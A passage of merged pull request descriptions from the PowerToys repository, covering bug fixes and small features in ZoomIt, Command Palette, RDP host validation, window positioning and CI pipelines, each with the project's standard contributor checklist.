signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
## Unique filename issue
The PR fixes the user's complaint about the screenshots always being
called "zoomit" by adding a `GetUniqueScreenshotFilename()` method which
creates a unique filename based on the current date and time, e.g.
`ZoomIt 2025-11-01 004723.png`. This is consistent with other tools like
the Windows Snipping Tool and provides files which sort correctly when
ordered by name, which is not the case for files with simple numeric
suffixes.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Tested on a local build.
## Summary
Closes#39929
Adds a new "Keep previous query" toggle to Command Palette settings that
preserves the last search text when the palette is reopened after
running a command.
## Changes
- **`SettingsModel.cs`** — Added `KeepPreviousQuery` bool property
(defaults to `false`)
- **`SettingsViewModel.cs`** — Added property with auto-save on change
- **`GeneralPage.xaml`** — Added toggle switch in the Activation
section, below "Highlight search on activate"
- **`Resources.resw`** — Added localized header ("Keep previous query")
and description ("Preserves the last search text when Command Palette is
reopened")
- **`SearchBar.xaml.cs`** — `Receive(GoHomeMessage)` now checks the
setting and skips `ClearSearch()` when enabled
## Behavior
- **Off (default):** No change from current behavior — search text is
cleared on dismiss.
- **On:** When a command is run and the palette dismisses, the search
text is preserved. On reopen, the previous query is still in the search
box. Combined with the existing "Highlight search on activate" setting,
the text will be pre-selected so the user can immediately retype or
press Enter to re-run.
## Validation
- Setting off: search clears on dismiss (existing behavior unchanged)
- Setting on: search text persists across dismiss/reopen
- Setting serializes/deserializes correctly via existing JSON settings
infrastructure
- No impact on page navigation, escape key behavior, or auto-go-home
timer
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes#45100
Uri.CheckHostName does not accept host:port strings (e.g.
localhost:3389), returning UriHostNameType.Unknown. This causes the RDP
extension to show an invalid hostname error when connecting to a local
forwarded port.
## Changes
- OpenRemoteDesktopCommand.cs - Strip port suffix before
Uri.CheckHostName validation. The full host:port is still passed to
mstsc /v:.
- FallbackRemoteDesktopItem.cs - Same port-aware validation so the
fallback correctly recognizes host:port queries and displays them in the
title.
- FallbackRemoteDesktopItemTests.cs - Added tests for localhost:3389 and
192.168.1.100:3390 inputs.
## Validation
Port detection uses LastIndexOf(':') + ushort.TryParse to safely
identify a trailing port number without affecting IPv6 addresses or
plain hostnames.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
This PR updates Command Palette's solution filter to include recently
added Microsoft.CmdPal.Ext.PerformanceMonitor project.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary
MainListPage hardcoded _appResultLimit = 10 instead of reading from
AllAppsCommandProvider.TopLevelResultLimit, which correctly parses the
user's SearchResultLimit setting. This meant changing the results limit
in settings had no effect on the apps extension fallback results.
## Changes
- `MainListPage.cs` — Replaced the hardcoded _appResultLimit = 10 field
with a computed property AppResultLimit that delegates to
AllAppsCommandProvider.TopLevelResultLimit.
- `MainListPageResultFactoryTests.cs` — Added three regression tests:
- `Merge_AppLimitOfOne_ReturnsOnlyTopApp` — verifies limit of 1 returns
only the top app
- `Merge_AppLimitOfZero_ReturnsNoApps` — verifies limit of 0 returns no
apps
- `Merge_AppLimitOfOne_WithOtherResults_AppsAreLimited` — verifies apps
are limited even when mixed with other result types
## Validation
- [X] Existing tests pass
- [X] New regression tests cover edge cases for the appResultLimit
parameter
## Linked Issues
- Fixes#45654
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The bullet separator between the release date and "View on GitHub" in
the SCOOBE release notes page was rendering as an unknown symbol (◆?)
instead of `•`. The character stored in the source file was `\x95`
(Windows-1252 bullet), which is invalid in UTF-8 and maps to U+0095 (a
control character).
## Changes
- `ScoobeReleaseNotesPage.xaml.cs`: Replace `\x95` (Windows-1252) with
`•` (U+2022, UTF-8: `\xE2\x80\xA2`)
```diff
- $"{release.PublishedDate.ToString(...)} \x95 [View on GitHub]({releaseUrl})"
+ $"{release.PublishedDate.ToString(...)} • [View on GitHub]({releaseUrl})"
```
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Single-byte fix: the bullet character in
`ScoobeReleaseNotesPage.xaml.cs` was a Windows-1252 `\x95` byte embedded
in a UTF-8 source file. UTF-8 treats `0x95` as U+0095 (MESSAGE WAITING,
a C1 control), which has no glyph and renders as the replacement/unknown
symbol. Replaced with the correct Unicode bullet `•` (U+2022).
## Validation Steps Performed
- Confirmed `\x95` byte present in original file via hex inspection
- Verified replacement byte sequence is `\xE2\x80\xA2` (valid UTF-8 for
U+2022)
- No other occurrences of `\x95` in the file
<!-- START COPILOT ORIGINAL PROMPT -->
<details>
<summary>Original prompt</summary>
>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>Settings: SCOOBE shows an unknown symbol instead of a
bullet</issue_title>
> <issue_description>### Microsoft PowerToys version
>
> main
>
> ### Installation method
>
> Dev build in Visual Studio
>
> ### Area(s) with issue?
>
> Settings
>
> ### Steps to reproduce
>
> Main (0.98):
>
> <img width="513" height="299" alt="Image"
src="https://github.com/user-attachments/assets/fe8eeb94-82cf-40d5-933f-4556616692a3"
/>
>
> 0.97:
>
> <img width="231" height="100" alt="Image"
src="https://github.com/user-attachments/assets/96b29ea7-87d8-4044-81a5-19e500224098"
/>
>
> ### ✔️ Expected Behavior
>
> _No response_
>
> ### ❌ Actual Behavior
>
> _No response_
>
> ### Additional Information
>
> _No response_
>
> ### Other Software
>
> _No response_</issue_description>
>
> ## Comments on the Issue (you are @copilot in this section)
>
> <comments>
> </comments>
>
</details>
<!-- START COPILOT CODING AGENT SUFFIX -->
- Fixesmicrosoft/PowerToys#45695
<!-- START COPILOT CODING AGENT TIPS -->
---
✨ Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=✨+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
your repo.
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
## Summary of the Pull Request
This fixes a race condition in the WindowWalker component in both
**Command Palette** and **Run**. The lack of a lock around a cache
update could potentially lead to inaccurate information about UWP
applications being returned.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45600
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
More details about the root cause can be found in the original issue:
#45600.
In summary, a `Task` is created and started as part of the
`CreateWindowProcessInstance()` code. The creation is inside a lock, but
there is no lock around access to the `_handlesToProcessCache` cache
within the Task itself, which will run on a different thread.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Ensured unit tests still pass (NB: I cannot currently run CmdPal UI
tests for some reason)
- Manually ran the applications, testing the Window Walker component in
both
This doesn't actually have a UX to expose this yet - we need to stack a
couple of PRs up to get to that.
But this adds plumbing such that we can now stash away a command ID, and
retrieve it later as a top-level command. Kinda like pinning for apps,
but for _anything_.
It works off of a new command provider interface `ICommandProvider4`,
which lets us look up Command**Item**s by ID. If we see a command ID
stored in that command provider's settings, we will try to look it up,
and then load it from the command provider.
e.g.
```json
"com.microsoft.cmdpal.builtin.system": {
"IsEnabled": true,
"FallbackCommands": {
"com.microsoft.cmdpal.builtin.system.fallback": {
"IsEnabled": true,
"IncludeInGlobalResults": true
}
},
"PinnedCommandIds": [
"com.microsoft.cmdpal.builtin.system.lock",
"com.microsoft.cmdpal.builtin.system.restart_shell"
]
},
```
will get us
<img width="840" height="197" alt="image"
src="https://github.com/user-attachments/assets/9ed19003-8361-4318-8dc9-055414456a51"
/>
Then it's just a matter of plumbing the command provider ID through the
layers, so that the command item knows who it is from. We'll need that
later for actually wiring this to the command's context menu.
related to #45191
related to #45201
## Summary of the Pull Request
This PR improves main window positioning:
- Fixes cases where an invalid window size or position was saved.
- `UpdateWindowPositionInMemory` failed to capture correct values when
the window was minimized or maximized (for example, a minimized window
reports coordinates like `(-32000, -32000)`).
- Improves repositioning logic to use relative anchors (corners and
center). When switching displays, the window should reappear in the
expected position. This also reduces cases that trigger the failsafe
recentering.
- Fixes the dragging rectangle size after switching DPIs - the rectangle
was not adapting, so it when switching from 100 % to 200 % it covered
only left half of the window and had teeny-tiny height.
- Suppresses system DPI handling during summon to prevent double
scaling.
- Makes `WindowPosition` class immutable.
- Adds light-weight failsafe preventing overwriting position with
invalid data.
- Hotfixes a min/max state conflict with the WinUIEx window manager.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45576
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR chills down the report sanitizer, because it's overly active.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45612
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR changes the way the Web Search built-in extension handles full
URIs: it bypasses default browser discovery and asks the shell to open
the URI directly. The original execution path remains as a fallback and
for simple queries (when a custom search engine is not set).
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45610
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds CoreTargetFramework MSBuild property as a way to use the
TargetFramework property minus the OS and OS Version.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updates `Common.Dotnet.CsWinRT.props` with a `CoreTargetFramework`
property. This is then used to form the actual `TargetFramework`
property. `Settings.UI.XamlIndexBuilder` was the original catalyst for
this PR since it doesn't need Windows SDK targeting, and it didn't make
sense to have one project by itself that would manually need its target
version updated.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: vanzue <vanzue@outlook.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<img width="1527" height="354" alt="image"
src="https://github.com/user-attachments/assets/28b14e69-f16a-4129-8757-3f7304e6a446"
/>
Release pipeline fail to check the dll signature, forgot to sign it.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Should pass release pipeline
## Summary of the Pull Request
This PR fixes two typing-related issues in ZoomIt:
1. Ampersands could be typed even when Type Mode or Draw Mode were not
engaged
2. On Debug builds, typing a non-alphanumeric character in Type Mode
would crash ZoomIt with a CRT assertion failure
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #43676
- [x] Closes: #43677
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Assertion failure on Debug builds
**Root Cause**
This occurred because of a combination of a type-coercion issue and the
use of `isprint()` in `WM_KEYDOWN`, which operates on virtual key codes,
not characters.
This is the code with the fault:
```cpp
if( (g_TypeMode != TypeModeOff) && g_HaveTyped && static_cast<char>(wParam) != VK_UP && static_cast<char>(wParam) != VK_DOWN &&
(isprint( static_cast<char>(wParam)) ||
wParam == VK_RETURN || wParam == VK_DELETE || wParam == VK_BACK )) {
```
There are a few issues here:
1. There is no need for the `VK_UP` / `VK_DOWN` check. The block only
executes if `VK_RETURN`, `VK_DELETE` or `VK_BACK` are pressed, which
cannot be `VK_UP` or `VK_DOWN` by definition. This should be removed.
2. Casting the `wParam` to `char` means casting an unsigned int value to
a signed char. This works for alphanumeric characters, as the VK_-codes
correspond to their char counterparts. But it fails for values with
their high bit set, e.g. a hyphen:
- The virtual key code for the hyphen key is `VK_OEM_MINUS`, or `0xBD`
- `0xBD` (10111101) becomes `-67` when cast to a char
- In Debug builds, a call to `isprint()` includes a range check to
ensure the value is in the range 1 to 255. A negative value trips this
assertion.
3. The casts are not needed.
**Fix**
Remove both the `isprint()` call (the WM_CHAR handler has an
`iswprint()` check) and remove the check against `VK_UP` and `VK_DOWN`.
### Ampersand issue
This is a simple operator precedence issue with this statement:
```cpp
if ((g_TypeMode != TypeModeOff) && iswprint(static_cast<TCHAR>(wParam)) ||
(static_cast<TCHAR>(wParam) == L'&'))
```
The intention is to continue if one of the Type Modes is engaged (either
left-to-right or right-to-left) and either the typed character is
printable or (a special-case) the ampersand (presumably for legacy
issues when `DT_NOPREFIX` was not present on all draw text calls).
Unfortunately, the parentheses are placed incorrectly, resulting in the
expression actually being:
`if (Type Mode is active AND a printable character was pressed) OR
(Ampersand was pressed)`
(Meaning the code will always execute if ampersand is pressed regardless
of the mode.)
**Fix**
Correcting the placement of the parentheses fixes the issue.
Note: I think `DT_NOPREFIX` exists on all `DrawText()` calls which
render characters, so we could potentially remove the ampersand check
entirely in the future, assuming that was the original issue which
required the special casing.
## Validation Steps Performed
- Ensure ampersand does not result in the character appearing and/or
glitches occurring where the cursor is when Type Mode or Draw Mode are
not active.
- Ensure ampersands may still be typed as normal in Type Mode.
- Confirm that non-alphanumeric characters can be typed without issue in
Type Mode on both Debug and Release builds.
- Test draw operations in combination with text notes.
- Test backspace, return and delete keys in Type Mode.
- Test that Type Mode engages repeatedly and can be exited.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request introduces an "artifact-based" mode for consuming the
Windows App SDK in CI pipelines, allowing builds to use NuGet packages
directly from Azure DevOps pipeline artifacts instead of public/internal
feeds. This is achieved by adding new parameters and logic to pipeline
YAML and PowerShell scripts, supporting scenarios where packages are not
yet published to a feed. The changes also improve robustness when
updating package versions and add documentation for authentication
requirements.
These changes make the pipeline more flexible and robust, enabling
builds to consume unreleased or pre-release packages directly from CI
artifacts, which is especially useful for testing and validation
scenarios.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Enable localization for command bar buttons and modifiers
- Adds localization support for the "More" command button on the command
bar
- Localizes the secondary command key modifier (Ctrl) and its
combinations
- Updates related tooltips for improved consistency
- Enhances the overall user experience for non-English locales
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45503
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
@jiripolasek FYI
This PR creates a new `Common.UI.Controls` library that contains shared
WinUI controls. We have been copying code manually between CmdPal and
Settings, and now with the new KBM we will run into the same issue.
This lib has shared controls projects can add to their proj so we have a
single source of truth.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45388
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
## Summary of the Pull Request
This PR fixes an error that occurred when reading tags for the selected
package in WinGet extensions when AOTed. The issue was caused by using
LINQ over a WinRT proxy; this has been replaced with manual iteration
over the collection to avoid the failure.
The exception is now caught and logged as a warning by #44757.
<img width="863" height="500" alt="image"
src="https://github.com/user-attachments/assets/6e08e674-532e-4e9b-a5c6-f7e1c224c341"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44487
- [x] Closes: #44486
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
